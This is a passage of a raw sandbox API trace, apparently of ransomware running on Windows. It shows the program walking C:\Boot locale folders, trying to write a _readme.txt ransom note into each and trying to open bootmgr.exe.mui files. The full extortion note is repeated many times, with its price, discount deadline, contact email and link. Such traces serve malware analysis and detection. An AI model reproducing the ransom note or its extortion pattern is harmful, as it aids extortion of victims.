ID:\r\n0234yiuduy6S5d" [0124.462] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.462] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.462] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.462] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0124.462] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.462] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.462] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.462] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.462] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0124.463] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.463] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.463] PathFindFileNameW (pszPath="") returned="" [0124.463] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.463] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.463] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.463] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.463] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0124.463] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0124.463] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.463] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.463] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.464] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.464] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0124.464] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.464] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.465] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.465] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.465] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0124.465] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.465] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.465] PathFindFileNameW (pszPath="") returned="" [0124.465] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.465] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.465] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.465] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.465] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0124.465] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0124.466] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.466] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.466] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.466] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.466] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0124.466] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.466] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.466] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.466] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.466] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0124.466] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.466] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.466] PathFindFileNameW (pszPath="") returned="" [0124.466] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.467] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.467] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.467] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.467] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0124.467] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0124.467] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.467] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.467] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.467] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.467] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0124.467] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.468] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.468] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 